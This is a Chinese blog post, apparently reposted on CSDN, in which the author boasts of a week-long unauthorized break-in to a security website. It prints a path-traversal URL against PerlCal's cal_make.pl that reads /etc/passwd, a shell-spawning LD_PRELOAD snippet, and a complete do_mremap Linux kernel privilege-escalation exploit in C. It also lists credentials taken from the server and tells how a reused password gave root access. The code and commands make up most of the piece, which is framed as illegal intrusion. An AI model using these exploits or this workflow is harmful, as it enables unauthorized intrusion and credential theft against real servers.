非常经典的渗透入侵

网络安全 专栏收录该内容
34 篇文章 0 订阅
作者:sunwear
mail:shellcoder@163.com
time:2004,5,7
前言:

这篇文章比较长,希望你有耐心看完。我入侵的服务器为国家一个著名安全站点。过程很复杂 经过了1个星期的奋斗。希望多各位有所帮助。 请耐心看完 :)。其中也有关于社会工程学的。


正文

废话不说。开工
C:/Documents and Settings/Administrator>ping www.xxx.com

Pinging www.xxx.com [192.168.0.252] with 32 bytes of data:

Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128
Reply from 192.168.0.252: bytes=32 time<10ms TTL=128

Ping statistics for 192.168.0.252:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms


文章中IP为假的 在这里不公布真正IP

看TTL的返回信息判断系统应该不是真的 现在可以改这个

先扫描他看看吧

结果只开了 21 22 80

看来成功率不算打 FTP并没有若口令 80也没什么信息

看来了他站里 发现分有bbs.xxx.com 和 news.xxx.com 而且IP都不一样 看来想办法渗透了。

首先去bbs.xxx.com看看 用的程序似乎是绿盟那样子的 呵呵 似乎没什么漏洞 先放边上。

看看服务器开的端口情况

开了 21 22 80 也没什么漏洞

在看看news.xxx.com

经过扫描 判断服务器应该是 NT/2000

21 80 389 1002 3389

基本上也没什么漏洞 21 没若口令 这个是IIS的 检查了一便也没什么漏洞 389 也没什么用 3389 不可能有输入法吧 登陆看看系统

2000server的

news.xxx.com用的程序是asp的 想到了SQL注入。不过彻底查看了一下 所有的都过滤了。

有点郁闷了

jswz.xxx.com

也是一个分页 不过这个另我非常的意外 用的是cgi的 系统是linux

21 22 80

扫了一下有个漏洞

cal_make.pl 看名字有点熟悉 看了一下 不过一直没想起来

去了国外的几个站 终于发现了~~~

Name : PerlCal
About : cal_make.pl of the PerlCal script may allow remote users(website visitors) to view any file on a webserver

(dependingon the user the webserver is running on).

Exploit:

http://www.VULNERABLE.com/cgi-bin/cal_make.pl?/
p0=../../../../../../../../../../../../etc/passwd%00
by: stan (stan@whizkunde.org)

呵呵 感谢hack.co.za

在浏览器地址栏输入
http://www.xxx.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00

好多用户信息 不过这是一个shadow过了passwd 好不容易的机会 不能放弃!

想办法 跑这些用户吧~~~

提炼用户名 希望有弱口令

提炼过程大家参考一些资料去吧

一共20多个用户 跑出来了2个 哈哈。。~~

用SSH登陆~

权限似乎非常低

用第二个试试

哎 还是一样

看看提升权限吧~~

经过一番折腾 100%确定是rh73 内核Linux kernel 2.4

用do_brk的益出~



#include <stdio.h>


#include <stdlib.h>


#include <unistd.h>


char hellc0de[] =


"/x69/x6e/x74/x20/x67/x65/x74/x75/x69/x64/x28/x29/x20/x7b/x20/x72/x65"


"/x74/x75/x72/x6e/x20/x30/x3b/x20/x7d/x0a/x69/x6e/x74/x20/x67/x65/x74"


"/x65/x75/x69/x64/x28/x29/x20/x7b/x20/x72/x65/x74/x75/x72/x6e/x20/x30"


"/x3b/x20/x7d/x0a/x69/x6e/x74/x20/x67/x65/x74/x67/x69/x64/x28/x29/x20"


"/x7b/x20/x72/x65/x74/x75/x72/x6e/x20/x30/x3b/x20/x7d/x0a/x69/x6e/x74"


"/x20/x67/x65/x74/x65/x67/x69/x64/x28/x29/x20/x7b/x20/x72/x65/x74/x75"


"/x72/x6e/x20/x30/x3b/x20/x7d/x0a/x0/bin/sh";


int main()


{


FILE *fp;


char *offset;


fp=fopen("/tmp/own.c","w");


fprintf(fp,"%s",hellc0de);


fclose(fp);


system("gcc -shared -o /tmp/own.so /tmp/own.c;rm /tmp/own.c");


system("LD_PRELOAD=/tmp/own.so /bin/sh");


return 0;


}


郁闷 行不通

想别的办法

试试 do_mremap VMA本地权限提升漏洞

Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。

mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。

要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。
:):):)


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)

#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)

#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )

#define __NR_sys_mremap __NR_mremap


// how many ld.so pages? this is the .text section length (like from cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14

// suid victim
static char *suid="/bin/ping";

// shell to start
static char *launch="/bin/bash";


_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);

static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;


// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme /n"

// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx /n"
" xorl %ecx, %ecx /n"
" xorl %edx, %edx /n"
" xorl %eax, %eax /n"
" mov $"xstr(__NR_setresuid)", %al /n"
" int $0x80 /n"
" mov $"xstr(__NR_setresgid)", %al /n"
" int $0x80 /n"

// execve(launch)
" popl %ebx /n"
" andl $0xfffff000, %ebx /n"
" xorl %eax, %eax /n"
" pushl %eax /n"
" movl %esp, %edx /n"
" pushl %ebx /n"
" movl %esp, %ecx /n"
" mov $"xstr(__NR_execve)", %al /n"
" int $0x80 /n"

// exit
" xorl %eax, %eax /n"
" mov $"xstr(__NR_exit)", %al /n"
" int $0x80 /n"

"callme: jmp jumpme /n"
);
}


static int suid_code_end(int v)
{
return v+1;
}


static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax /n"
" andl $0xfffff000, %%eax /n"
" movl %%eax, %0 /n"
: : "m"(old_esp)
);
}


static inline void cloneme(void)
{
__asm__(
" pusha /n"
" movl $("xstr(CLONEFL)"), %%ebx /n"
" movl %%esp, %%ecx /n"
" movl $"xstr(__NR_clone)", %%eax /n"
" int $0x80 /n"
" movl %%eax, %0 /n"
" popa /n"
: : "m"(pid)
);
}


static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx /n"
" movl %2, %%ecx /n"
" movl %3, %%edx /n"
" movl $"xstr(__NR_execve)", %%eax /n"
" int $0x80 /n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}


static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;

memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}


// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;

// prepare shell code pages
for(i=2; i<LINKERPAGES+1; i++)
pte_populate(victim + PAGE_SIZE*i);
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
if(i)
goto failed;

// lock unmap
base = MMAP_BASE;
cnt = 0;
prot = PROT_READ;
printf("/n"); fflush(stdout);
for(;;) {
t = mmap((void*)base, PAGE_SIZE, prot,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t) {
if(ENOMEM==errno)
break;
else
goto failed;
}
if( !(cnt%512) || cnt>65520 )
printf("/r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
base+PAGE_SIZE); fflush(stdout);
base += PAGE_SIZE;
prot ^= PROT_EXEC;
cnt++;
}

// move PTEs & populate page table cache
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
if(-1==ret)
goto failed;

munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);
if(MAP_FAILED==t)
goto failed;

*t = *((unsigned *)old_esp);
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
printf("/n[+] Success/n/n"); fflush(stdout);
return;

failed:
printf("/n[-] Failed/n"); fflush(stdout);
_exit(0);
}


static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;

uname(&un);
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
if(n!=3 || a!=2) {
printf("/n[-] invalid kernel version string/n");
_exit(0);
}

if(b==2) {
if(c<=25)
v=1;
}
else if(b==3) {
if(c<=99)
v=1;
}
else if(b==4) {
if(c>18 && c<=24)
v=1, e=1;
else if(c>24)
v=0, e=0;
else
v=1, e=0;
}
else if(b==5 && c<=75)
v=1, e=1;
else if(b==6 && c<=2)
v=1, e=1;

printf("/n[+] kernel %s vulnerable: %s exploitable %s",
un.release, v? "YES" : "NO", e? "YES" : "NO" );
fflush(stdout);

if(v && e)
return;
_exit(0);
}


int main(int ac, char **av)
{
// prepare
check_kver();
memset(env, 0, sizeof(env));
memset(argv, 0, sizeof(argv));
if(ac>1) suid=av[1];
if(ac>2) launch=av[2];
argv[0] = suid;
get_esp();

// mmap & clone & execve
exhaust();
cloneme();
if(!pid) {
my_execve();
} else {
waitpid(pid, 0, 0);
}

return 0;
}


耶~~~~成功了

………………………………………………

整理了一些东西 然后看看有什么可以利用的信息没。 呵呵mailuserinfo 看看这里写的什么~

admin e04i9zs8#$%
kelzr zjjjwoai22@
sunzsdk 2z2z2z2z2z2z2z2z
wollf woainiliaoynx


记得主站上有这几个管理员~ 去找登陆的地方

www.xxx.com/login.php

您的IP未被允许登陆

晕了

用SSH登陆192.168.0.252试试

果然登陆进来了 用户名是kelzr 密码是 woainiliaoynx

呵呵 试了2分钟

登陆后发现权限竟然不是root 哭了

试了3个提升权限的竟然没有用

郁闷ING

郁闷中发现一个login的记录 是这个机器登陆另一个机器的记录 密码是明文

登陆的是192.168.0.2 用户名admin 密码mozjkelzlf152@ 是FTP登陆

看来是他估计写下来的

我突然冒出个想法 :)

断开连接 重新用SSH连接主机 root mozjkelzlf152@ 哈哈进来了

有了权限就好办了

我曾经渗透过好多站都是这样 管理员的密码通用 呵呵 一个机组的密码全都一样!

哎~ 大家最好养成一个习惯 尽量避免密码重复
  • 0
    点赞
  • 3
    评论
  • 6
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

评论 3 您还未登录,请先 登录 后发表或查看评论
©️2022 CSDN 皮肤主题:大白 设计师:CSDN官方博客 返回首页

打赏作者

chinawn

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值